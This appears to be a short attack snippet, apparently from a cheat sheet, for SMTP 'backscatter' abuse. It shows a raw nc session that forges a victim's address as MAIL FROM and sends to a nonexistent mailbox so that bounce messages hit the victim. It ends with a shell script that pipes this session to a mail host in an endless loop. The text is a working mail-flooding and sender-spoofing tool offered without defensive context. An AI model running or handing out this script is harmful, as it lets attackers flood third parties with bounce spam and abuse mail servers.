nc <mailhost> 25
EHLO domain.tld
MAIL FROM:victim@domain.tld
RCPT TO:notexistingmailbox@domain.tld
DATA
backscattering is fun
.
Create a file with this content (backscatter.txt)
EHLO example.com
MAIL FROM:victim@example.com
RCPT TO:notexistingmailbox@target.com
DATA
backscattering is fun
.
#!/bin/sh
while true;
do
cat backscatter.txt | while read L; do sleep "1"; echo "$L"; done | "nc" -w 3 -C -v "<mailhost>" "25";
done